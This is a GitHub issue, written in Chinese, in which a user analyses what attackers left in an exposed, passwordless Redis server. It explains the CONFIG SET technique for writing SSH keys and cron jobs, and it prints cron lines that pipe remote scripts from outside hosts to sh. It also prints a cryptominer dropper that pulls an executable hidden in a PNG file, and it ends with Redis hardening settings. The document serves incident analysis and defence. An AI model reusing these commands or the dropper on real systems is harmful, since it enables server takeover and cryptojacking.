Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

关于 Redis 安全的问题 #3

Open
Labels
@impasse

Description

之前为了方便存一些数据,我在自己 vps 上开了一个公网可以访问的 redis 服务,没有设置密码。今天突然奇想,看了看上面有什么。结果看到了某些不太好的东西。

127.0.0.1:6379> keys *
1) "f17cc4f5e5"
2) "crackit"
3) "7cc4f5e5"
127.0.0.1:6379> 

有 3 条数据,2 个乱码名字,先看看正常点的名字crackit:

127.0.0.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cGu3SeRUbTfPVGWZw9hRod+HWik+Ca8Mj0Flxwb2iU2MIOTRLyuB29ZwkgB4WpPEWD3NReSIo1cIYhuAKtVNGF6WgxnsAs++lcbkNGFDXPuhRHkPiiz11ipWtk7xUF3rkVGvbaBO4gNFGSmZ8fvJdqquXM/EtEySURswo1bT5uWsE0TU2Bolw0XbeIPe99Uuw9bTOYP3UvCw2abvOWsRmm5mZAl/mosgDq1NQux0XdO6oT9QTk2ID4pbza8AcTqGFE4rQcOxF/YCpPDwd4lRxmSWl8WmbAWRDolJLxQFuIMZt7sg+yvGj7Z6+ils7/qLvcZx6A5E21Ldcg3UXrKp root@niuoh\n\n\n\n"
127.0.0.1:6379> 

吖咯,看到了某某人的 ssh public key呢。

这是一种破解 redis 宿主机 ssh 权限的方法:

  1. 使用 config set dir /root/.ssh/ # 将 redis 目录设置为 /root/.ssh
  2. config set dbfilename "authorized_keys" # 将 redis 数据库文件设置为 authorized_keys
  3. set 上面的字符串,写于到 2 中的文件

这样就把攻击者的公钥写到了 /root/.ssh 目录的 authorized_keys 文件,进而获得了 ssh 到 root的权限。有个问题是假如宿主机 root 用户没有 .ssh 目录时,这个方式会失败。(未实验)

这个主机名让我查到了人哦。


看看下一个:

127.0.0.1:6379> get f17cc4f5e5
"\n\n*/1 * * * * curl http://104.223.133.27/1 | sh\n\n"
127.0.0.1:6379> 

从前面的 */1 * * * * 来看应该是 cron job,这个其实和上面差不多,还是利用了 config set dir|dbfilename 将内容写入到了/var/spool/cron/root文件,这样在定时任务执行时就能做各种shell里能做的事情了。
可惜这个 IP 也不能访问,whois 也查不出个所以然。


最后一个

127.0.0.1:6379> get 7cc4f5e5
"\n\n*/1 * * * * curl https://cdn.rawgit.com/hextrip/hextripgo/master/install | sh;\n\n"
127.0.0.1:6379> 

这个和上一个是同一个套路,不过这个能直接看到 shellcode 的内容:

#!/bin/sh
ps -fe|grep syslogdaemon |grep -v grep
if [ $? -ne 0 ]
then
nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x &
if [ ! -f /tmp/syslogdaemon ]
then
curl https://ooo.0o0.ooo/2016/11/27/583a97938c4f9.png|dd of=/tmp/syslogdaemon skip=7664 bs=1;chmod +x /tmp/syslogdaemon
nohup /tmp/syslogdaemon -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 -p x &
fi
else
echo "runing....."
fi

哎呀,中间那个ooo.0o0.ooo好眼熟啊,好像是 v2ex 上某个绿头像的人的站?这个人煞费心机把 ELF 接到 png 后面也是看得我一脸茫然,这是为了不暴露自己么,orz...

虽然说脚本的内容各不相同,但是利用的漏洞都是同一个。哎,我早早地就已经把 config 命令禁用了...

rename-command CONFIG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command EVAL ""

也不知道 redis 还有木有其他不安全的地方=-=,没装 cronie , 不用 /root/.ssh 目录不知道会不会安全点。

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

        AltStyle によって変換されたページ (->オリジナル) /